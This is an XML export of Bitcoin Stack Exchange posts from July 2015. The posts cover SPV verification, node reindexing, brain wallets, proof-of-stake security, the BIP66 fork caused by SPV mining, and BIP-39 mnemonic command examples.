  <row Id="38420" PostTypeId="2" ParentId="38418" CreationDate="2015-07-05T14:01:38.417" Score="4" Body="&lt;p&gt;&lt;strong&gt;The SPV uses the &lt;code&gt;Merkle Root&lt;/code&gt; in the header to verify transaction information full nodes provide.&lt;/strong&gt; As a header refers to the previous block by hash, an SPV wallet can be somewhat sure that it has real blockchain information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hear about transactions relevant to it, an SPV requests to get information about any transactions involving a provided set of public keys (some of which actually belong to the SPV, but not all) from a full node. The full node does the look-up, then tells the SPV which blocks have transactions that are relevant for it. Now, the SPV doesn't have all transaction information, and if it only got transation &lt;strong&gt;&lt;code&gt;C&lt;/code&gt;&lt;/strong&gt;, it would have no way of knowing that this information is accurate. However, this is where the Merkle root comes into play, as a way to provide minimal information to verify the existence of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say this &lt;strong&gt;&lt;code&gt;block X&lt;/code&gt;&lt;/strong&gt; has three transactions &lt;strong&gt;&lt;code&gt;A&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;B&lt;/code&gt;&lt;/strong&gt;, and &lt;strong&gt;&lt;code&gt;C&lt;/code&gt;&lt;/strong&gt;; the transaction &lt;strong&gt;&lt;code&gt;C&lt;/code&gt;&lt;/strong&gt; being relevant to the SPV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the following picture for an overview how the &lt;code&gt;Merkle Root&lt;/code&gt; is derived from the three transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mrOef.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if the full node would just provide &lt;strong&gt;&lt;code&gt;C&lt;/code&gt;&lt;/strong&gt;, the SPV would have no idea if the transaction is actually in &lt;strong&gt;&lt;code&gt;block X&lt;/code&gt;&lt;/strong&gt;, but by providing also &lt;strong&gt;&lt;code&gt;H(A|B)&lt;/code&gt;&lt;/strong&gt;, the SPV can re-derive the &lt;code&gt;Merkle root&lt;/code&gt;, allowing it to verify that &lt;strong&gt;&lt;code&gt;C&lt;/code&gt;&lt;/strong&gt; is in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read more about some shortcomings of SPV wallets please refer to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38419/5406&quot;&gt;Bitcoin's answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-07-05T14:01:38.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38422" PostTypeId="1" AcceptedAnswerId="38423" CreationDate="2015-07-05T19:54:45.050" Score="10" ViewCount="8667" Body="&lt;p&gt;I just reindexed a node that was already synced (in order to enable txindex); it took around 9 hours. It's on a pretty good system: 16G RAM, i7 with 4 physical cores. Storage is a weak point, with LUKS on software RAID0 on spinning disks. dbcache is at the default 100M, though I'm running 0.11 so I gather this ends up smaller than the previous default due to more accurate accounting. By extrapolation from testing a subset, a sequential read of the full ~38G of blk files should take ~4 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand reindex includes rebuilding the chainstate db, so I'm guessing that's the bottleneck. Questions: 1) reindex doesn't also re-validate blocks, does it? 2) Any experience with speeding this up -- perhaps putting chainstate on a tmpfs and copying to permanent storage once complete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Followup: by increasing dbcache as suggested, and adding a recent custom checkpoint to the code, I got another reindex done in about 3 hours.&lt;/p&gt;&#xA;" OwnerUserId="18303" LastEditorUserId="18303" LastEditDate="2015-07-06T20:22:33.790" LastActivityDate="2020-07-19T14:58:05.970" Title="Possible to speed up reindex?" Tags="|bitcoind|database|performance|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38423" PostTypeId="2" ParentId="38422" CreationDate="2015-07-05T20:08:36.863" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;reindex doesn't also re-validate blocks, does it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does, but signature verification (the slowest bit) is skipped on most of the early blockchain. The command attempts to sync with the network by reusing as many blocks as possible that are already written to the disk, which may very well include damaged or partially written ones. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any experience with speeding this up&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Increasing the &lt;code&gt;dbcache&lt;/code&gt; will speed up reindexing, putting it at 2G (&lt;code&gt;dbcache=2048&lt;/code&gt;) would not be an unreasonable choice given you have the memory. This is about all you can do, until it gets to the point where you are validating signatures a reindex is heavily single threaded. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-06T08:50:24.037" LastActivityDate="2015-07-06T08:50:24.037" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38424" PostTypeId="1" AcceptedAnswerId="38428" CreationDate="2015-07-06T03:51:54.937" Score="0" ViewCount="1473" Body="&lt;p&gt;I'm thinking of using a brain wallet for btc storage. Yes i know all the talk about it being insecure. But what if I used a bunch of information that only I would know making a &gt;100 character brain wallet ? What is the max length of a brain wallet? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-07-27T14:39:03.433" Title="What is the max character limit when creating a Bitcoin Brain Wallet?" Tags="|brain-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38425" PostTypeId="1" CreationDate="2015-07-06T04:00:11.643" Score="0" ViewCount="138" Body="&lt;p&gt;Can you use non-standard characters to create a bitcoin brain wallet? Ex. Chinese characters, ascii characters using the numberpad with ALT key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there downsides to this?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-07-06T08:55:31.097" Title="Can you use non-standard characters for creating a Bitcoin Brain Wallet?" Tags="|brain-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38427" PostTypeId="2" ParentId="38425" CreationDate="2015-07-06T05:32:06.413" Score="1" Body="&lt;p&gt;In short words: yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should know the algorithm how brainwallets are generated. Nobody guarantees that brainwallets on different services are generated with the same algorithm.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="24925" LastEditDate="2015-07-06T08:55:31.097" LastActivityDate="2015-07-06T08:55:31.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38428" PostTypeId="2" ParentId="38424" CreationDate="2015-07-06T05:34:24.050" Score="2" Body="&lt;p&gt;Brainwallet algorithm uses hash function of entered data for creating privkey. So, there are no limits. &lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-07-06T05:34:24.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38429" PostTypeId="1" AcceptedAnswerId="38431" CreationDate="2015-07-06T08:33:49.757" Score="1" ViewCount="421" Body="&lt;p&gt;I'm studying how Proof-of-Stake systems work. This answer on &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/20037/8717&quot;&gt;How does proof-of-stake “mining” work?&lt;/a&gt;&quot; explains specifically the Nextcoin implementation of PoS. The idea is that the next &quot;miner&quot; is chosen randomly from a pool of online users. However, my main concern with this system is: how do you stop someone from simply building a longer chain (from scratch) of made up transactions towards thousand of addresses that were randomly created by the malicious user? If it were higher than the current &quot;valid&quot; chain, wouldn't the fake one replace the valid one?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-07-06T08:51:49.910" Title="What is stopping someone from creating their own &quot;chain&quot; in Proof-of-Stake systems?" Tags="|proof-of-stake|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38430" PostTypeId="1" AcceptedAnswerId="38432" CreationDate="2015-07-06T08:41:24.540" Score="-1" ViewCount="682" Body="&lt;p&gt;AFAIK, so far, BTC has been accepted in every Humble Bundle since they started accepting them… instead they weren't an available option with the Borderlands bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an official, semi-official, or educatedly speculated reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/Lohoris/status/614548459606122497&quot; rel=&quot;nofollow&quot;&gt;I asked&lt;/a&gt; but they didn't answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;No &quot;we can't read their mind&quot; answer: if they didn't state the reason, I really don't see why anyone knowledgable enough couldn't make an educated guess.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="5406" LastEditDate="2016-02-19T12:30:16.043" LastActivityDate="2016-03-05T14:01:03.420" Title="Why were BTC not accepted in the Humble Borderlands Bundle?" Tags="|payment|merchants|zero-confirmation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38431" PostTypeId="2" ParentId="38429" CreationDate="2015-07-06T08:45:42.397" Score="6" Body="&lt;p&gt;This problem is generally known as &quot;nothing at stake&quot; or &quot;costless simulation&quot;, where there is indeed nothing preventing anybody from making arbitrarily long chains where they are the only participants in the network. If you were an early majority holder of the altcoin, emulating a massive network with thousands of users and then presenting that to peers valid would be trivial and effectively costless. Compromised private keys or &quot;empty&quot; private keys purchased from early participants in the network would also be a viable choice for bootstrapping an attack like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proposed solution in NXT is that nodes will refuse to reorganize very deeply (more than a day or two), making a weak assumption that the first chain you have seen is probably going to be the one the rest of the network is on. Ethereum has proposed for their move to Proof of Stake that they will use a &quot;phone a friend&quot; cryptosystem, essentially requiring users to confirm that they are on the same root proof of stake block chain using real world out of band communication (like a phone call or Royal Mail). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither has particularly strong assurances of validity, and is simply one of the realities of a Proof of Stake system that has the cost and reward internalized. In Proof of Work there is a significant real world cost to attempting competing chains, and given the choice of two there are clear rules for nodes to distinguish them. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-06T08:51:49.910" LastActivityDate="2015-07-06T08:51:49.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38432" PostTypeId="2" ParentId="38430" CreationDate="2015-07-06T09:14:57.883" Score="2" Body="&lt;p&gt;Fraud.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Estrella (Humble Bundle) Jun 23, 15:46&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hi there,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thanks for writing in to Humble Bundle Support!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unfortunately, Bitcoin has been disabled for the Humble Borderlands&#xA;  Bundle. The individual payment options made available for a given&#xA;  bundle are determined when we finalize contracts with our development&#xA;  partners. In this case, it was 2K Games' wish to only support PayPal,&#xA;  and our native credit card processor, Stripe. I'm sorry for any&#xA;  disappointment this may cause.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In regards to the store, we've had to temporarily disable the Bitcoin&#xA;  payment option due to a sharp increase in fraudulent payments in that&#xA;  channel. While we do not have an ETA as to when the payment option&#xA;  will return, we are planning on bringing it back and we are working&#xA;  hard on getting things fixed as quickly as possible!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Again, I'm sorry for the inconvenience here. If you have any other&#xA;  questions or concerns, feel free to write us back!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-Estrella Humble Bundle &lt;a href=&quot;http://support.humblebundle.com/&quot; rel=&quot;nofollow&quot;&gt;http://support.humblebundle.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://np.reddit.com/r/Bitcoin/comments/3avl4z/humble_bundle_doesnt_accept_bitcoin_anymore/csgh84b&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-07-06T09:14:57.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38433" PostTypeId="1" AcceptedAnswerId="38434" CreationDate="2015-07-06T11:07:50.977" Score="1" ViewCount="297" Body="&lt;p&gt;I've been wondering who/what could use the hash160 field of the blockchain.info API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for the address &quot;&lt;a href=&quot;https://blockchain.info/en/address/1N3Xxt13zbDLU66aSBiMB7AjRW1UiUFAau?format=json&quot; rel=&quot;nofollow&quot;&gt;1N3Xxt13zbDLU66aSBiMB7AjRW1UiUFAau&lt;/a&gt;&quot;, the hash160 value is &lt;code&gt;e6d55202fe5e9e9e2973aab12bbb91db67948138&lt;/code&gt;, which is roughly the hex format of the address (&lt;code&gt;00e6d55202fe5e9e9e2973aab12bbb91db6794813840292932&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it seems truncated, it seems that we miss some bits of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I've seen that the hash160 should be calculated differently, so why this value is present?&lt;/p&gt;&#xA;" OwnerUserId="27241" LastEditorUserId="196" LastEditDate="2015-07-06T13:26:40.933" LastActivityDate="2015-07-06T13:26:40.933" Title="What's the point of the hash160 field in blockchain.info API?" Tags="|api|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38434" PostTypeId="2" ParentId="38433" CreationDate="2015-07-06T11:28:55.653" Score="1" Body="&lt;p&gt;The information that the company displaying is correct, though there's no standard for displaying this to end users. You have unpacked the address and included the version byte and checksum as well in the string, note that &lt;em&gt;only&lt;/em&gt; the hash160 is used in a pay to pubkey bitcoin script. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Base58Check    1N3Xxt13zbDLU66aSBiMB7AjRW1UiUFAau&#xA;Decoded        0x00e6d55202fe5e9e9e2973aab12bbb91db6794813840292932&#xA;&#xA;Version Byte   0x00 &#xA;Hash160        0xe6d55202fe5e9e9e2973aab12bbb91db67948138&#xA;Checksum       0x40292932&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-06T11:28:55.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38435" PostTypeId="1" AcceptedAnswerId="38445" CreationDate="2015-07-06T14:18:26.310" Score="3" ViewCount="315" Body="&lt;p&gt;I just made a multi sig address from 3 address bitcoin and the result from that is 3Gf18oGoTaNCW38dVKe2ygNpUvUJmg6TY9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i want to know how i can release the bitcoin ?&lt;/p&gt;&#xA;" OwnerUserId="27244" LastActivityDate="2015-07-07T06:21:47.880" Title="Release A Bitcoin From Multi Sig Address?" Tags="|transactions|multi-signature|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38436" PostTypeId="1" AcceptedAnswerId="38438" CreationDate="2015-07-06T17:09:30.223" Score="7" ViewCount="884" Body="&lt;p&gt;Recently, BIP66 switched from activation (miners enforce rules within block) to enforcement (network enforces rules on all blocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble figuring out when this happened, or on what block it happened.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-07-06T19:18:27.097" Title="When did BIP66 switch from activation to enforcement?" Tags="|bip66|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38437" PostTypeId="1" AcceptedAnswerId="38439" CreationDate="2015-07-06T18:57:16.187" Score="15" ViewCount="7657" Body="&lt;p&gt;I'm curious to hear an in-depth explanation of the hard fork and how it was caused; I've heard/read a great deal but I'm lacking a cohesive explanation.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastEditorUserId="5406" LastEditDate="2016-03-10T14:50:26.987" LastActivityDate="2016-03-10T14:50:26.987" Title="What is SPV mining, and how did it (inadvertently) cause the fork after BIP66 was activated?" Tags="|blockchain-fork|mining-technical-details|validation|empty-blocks|bip66|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38438" PostTypeId="2" ParentId="38436" CreationDate="2015-07-06T19:18:27.097" Score="8" Body="&lt;p&gt;From &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot;&gt;BIP66&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The new rules are in effect for every block (at height H) with nVersion = 3 and at least 750 out of 1000 blocks preceding it (with heights H-1000..H-1) also have nVersion = 3. Furthermore, when 950 out of the 1000 blocks preceding a block do have nVersion = 3, nVersion = 2 blocks become invalid, and all further blocks enforce the new rules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wrote this script to monitor the number of the last 1000 blocks that have nVersion set to 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;&#xA;$daemon = new jsonRPCClient('http://{my_user}:{my_password}@127.0.0.1:8332/');&#xA;$blkStart = 364136 - (24 * 14 * 6);&#xA;&#xA;$ver3InLast1000 = 0;&#xA;for ($i = $blkStart;; $i++) {&#xA;    try {&#xA;        $blockHashOld = $daemon-&amp;gt;getblockhash($i-1000);&#xA;        $blockHashNew = $daemon-&amp;gt;getblockhash($i);&#xA;        $blockOld = $daemon-&amp;gt;getblock($blockHashOld);&#xA;        $blockNew = $daemon-&amp;gt;getblock($blockHashNew);&#xA;    } catch(Exception $e) {&#xA;        break;&#xA;    }&#xA;&#xA;    // Don't want to start subtracting until have processed 1000 blocks&#xA;    if ($blockOld[&quot;version&quot;] == 3 &amp;amp;&amp;amp; ($i - $blkStart &amp;gt;= 1000)) {&#xA;        $ver3InLast1000--;&#xA;    }&#xA;&#xA;    if ($blockNew[&quot;version&quot;] == 3) {&#xA;        $ver3InLast1000++;&#xA;    }&#xA;&#xA;    if ($i - $blkStart &amp;gt;= 1000) {&#xA;        echo &quot;$i, $ver3InLast1000\n&quot;;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result can be found in &lt;a href=&quot;http://pastebin.com/qKeJrNCL&quot;&gt;this pastebin&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://insight.bitpay.com/block/00000000000000000fb32e0d606a42615d44d93449a36ba64ee018de6009f898&quot;&gt;Block number 363724&lt;/a&gt; is the block that turned on nVersion=3 enforcement for all further blocks.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-06T19:18:27.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38439" PostTypeId="2" ParentId="38437" CreationDate="2015-07-06T20:00:25.903" Score="13" Body="&lt;p&gt;SPV mining is the term commonly used for 'less-than-full-node-validation' mining. It usually means that miners skip the verification of the block and the transactions within, and immediately start mining a new block referencing the just-solved block header. However, since they don't know what is in the last block, they have to mine without any transactions (except for the coinbase transaction), to be sure that they don't mine a block with transactions that conflict with transactions in the previous block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After BIP 66 became enforced, about 5% of the network was still solving version 2 blocks (BIP 66 enforces blocks use version number &gt;= 3). One of the miners in this 5% solved a block with version 2, and if everyone had been doing full validation, then their block would have been ignored and replaced by a version 3 block. That is what was supposed to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, unfortunately, a few pools (F2Pool was the biggest one, I think), started mining a new block that referenced the invalid block header without verifying the transactions in it or that the new header used a version number of 3 (as just became enforced). Miners will sometimes directly connect their full nodes or monitor each other's work APIs to see when another pool has solved a block, so that they can start working on a new block as quickly as possible. In this case, a few pools heard that BTC nuggets solved a block by listening to their Stratum API, and started mining on it. They didn't even have the block header, just the hash of the block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/July_2015_Forks#Invalid_Block_Hashes&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/July_2015_Forks#Invalid_Block_Hashes&lt;/a&gt; shows the invalid blocks: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0000000000000000009cc829aa25b40b2cd4eb83dd498c12ad0d26d90c439d99 mined by BTC Nuggets (98 non-coinbase transactions)&lt;/li&gt;&#xA;&lt;li&gt;0000000000000000155f2519d35cd5d2869900bcc5093594b27763a0315390b4 mined by F2Pool (0 non-coinbase transactions)&lt;/li&gt;&#xA;&lt;li&gt;00000000000000000cb7a20ee4e199e347ad7369936abae53a1518efa531ec61 mined by F2Pool (0 non-coinbase transactions)&lt;/li&gt;&#xA;&lt;li&gt;00000000000000000966d65e0fd87d1d5a8f154a2c955816c28e2006e381aa18 mined by AntPool (0 non-coinbase transactions)&lt;/li&gt;&#xA;&lt;li&gt;00000000000000001301bfd6f566a421c7eeba103d09b312032ca065cb185de7 mined by F2Pool (0 non-coinbase transactions)&lt;/li&gt;&#xA;&lt;li&gt;000000000000000013fe26675faa8f7dccd55ce5485bb6d0373fa66345901436 mined by F2Pool (0 non-coinbase transactions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One of the Core Developers, Gregory Maxwell, also posted an explanation &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3c305f/if_you_are_using_any_wallet_other_than_bitcoin/csrsrf9&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, which you may find useful.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-07-06T20:34:10.447" LastActivityDate="2015-07-06T20:34:10.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38442" PostTypeId="2" ParentId="30879" CreationDate="2015-07-07T03:02:01.847" Score="3" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Bitcoin-explorer passes the BIP-39 test vectors. Look at the bitcoin-explorer examples below to answer questions above.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) echo &quot;0&quot; | bx base16-encode | bx sha256&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;effcce8fe9c6da7e1b50cccdfc082cdf8d1b135aed519bc27cfd5cacb16269d6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) echo &quot;effcce8f&quot; | bx mnemonic-new&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;useful toy phrase&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3) echo &quot;e9c6da7e&quot; | bx mnemonic-new&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;truth cycle panic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4) echo &quot;effcce8fe9c6da7e&quot; | bx mnemonic-new&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;useful toy physical squeeze horror disease&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5) echo &quot;effcce8fe9c6da7e1b50cccdfc082cdf8d1b135aed519bc27cfd5cacb16269d6&quot; | bx mnemonic-new&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;useful toy physical squeeze horror disease hood book social theory arctic sample spider meadow hill pretty orange become dismiss rich slam raise point soon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6) echo &quot;effcce8fe9c6da7e1b50cccdfc082cdf8d1b135aed519bc27cfd5cacb16269d6&quot; | bx mnemonic-new --language en&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;useful toy physical squeeze horror disease hood book social theory arctic sample spider meadow hill pretty orange become dismiss rich slam raise point soon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;7) echo &quot;effcce8fe9c6da7e1b50cccdfc082cdf8d1b135aed519bc27cfd5cacb16269d6&quot; | bx mnemonic-new --language es&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;trozo tez opinar sauna honra dar hombre azafrán rubí talón amapola puré salvar mármol héroe pánico norma ascenso dátil posible ritmo perla otro ruptura&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;8) echo &quot;useful toy physical squeeze horror disease&quot; | bx mnemonic-to-seed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ab226a6e34d87c6a469cfca5d034d7c053ee6f5478bccb1589bc3b216759cb263cab74503471c2f44cbe3d5c06e1e1a774a3feb51a8dfdcc4dd4aece392802e2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;9) echo &quot;useful toy physical squeeze horror disease&quot; | bx mnemonic-to-seed -p TREZOR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a1e90b6de07f62e8e09268a138761e9a93296afa221fbefc7b4bcaefef71aac6d4a385af7a0ca34d96b275953d4bbd12d442d9738f1559c855f292e7a4a75daa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;10) echo &quot;useful toy physical squeeze horror disease hood book social theory arctic sample spider meadow hill pretty orange become dismiss rich slam raise point soon&quot; | bx mnemonic-to-seed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4703dc4343298d2ea7ddfa5f60b8a359f87c73f356b7eb684596f15390e1d8f67e42c5b224765bf10a4ed3437d3fd6b6110edb2c235ec997b1d969693bc12d18&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-07T03:02:01.847" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38443" PostTypeId="2" ParentId="38422" CreationDate="2015-07-07T03:20:34.013" Score="1" Body="&lt;p&gt;The behavior I noticed from a reindex on my node was that it ended up reloading the entire blockchain from the Internet. This is consistent with what the Bitcoin Meister Pieter Wuille indicated. Will have to remember the dbcache trick... &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-07T03:20:34.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38444" PostTypeId="1" CreationDate="2015-07-07T05:11:09.930" Score="4" ViewCount="786" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki#Replacing_the_nLockTime_field_entirely&quot; rel=&quot;nofollow&quot;&gt;BIP65&lt;/a&gt; discusses replacing the &lt;em&gt;ntimelock&lt;/em&gt; field with the new &lt;code&gt;CHECKLOCKTIMEVERIFY&lt;/code&gt; OP code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As an aside, note how if the SignatureHash() algorithm could optionally cover part of the scriptSig the signature could require that the scriptSig contain CHECKLOCKTIMEVERIFY opcodes, and additionally, require that they be executed. (the CODESEPARATOR opcode came very close to making this possible in v0.1 of Bitcoin) This per-signature capability could replace the per-transaction nLockTime field entirely as a valid signature would now be the proof that a transaction output can be spent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is this different from the functionality of &lt;em&gt;ntimelock&lt;/em&gt;? (I.e. Why would a signed transaction using &lt;em&gt;ntimelock&lt;/em&gt; not be sufficient?)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-08-25T04:14:08.633" LastActivityDate="2017-01-09T19:23:32.527" Title="BIP65: &quot;replacing ntimelock entirely&quot;?" Tags="|transactions|protocol|checklocktimeverify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38445" PostTypeId="2" ParentId="38435" CreationDate="2015-07-07T06:21:47.880" Score="2" Body="&lt;p&gt;So you made the multisig address through bitcoind? if you have all the private keys related to that multisigned address added and in your wallet it should be automatically included in your balance and spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote from Gavin Anderson (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3557/how-does-one-make-multisignature-transactions-with-the-bitcoin-client&quot;&gt;How does one make multisignature transactions with the bitcoin client?&lt;/a&gt;)&#xA;First answer there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;spending of multisignature transactions-- if all of the private keys required to spend a multisignature transaction are in the wallet, then those coins are added to the wallet's total bitcoin balance and that transaction will be spent if the normal coin-selection code decides to use them for a spending transaction.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you require instructions for a specific wallet or a middle-agent website then it would be useful if you mention what exactly it is.&lt;/p&gt;&#xA;" OwnerUserId="27254" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-07-07T06:21:47.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
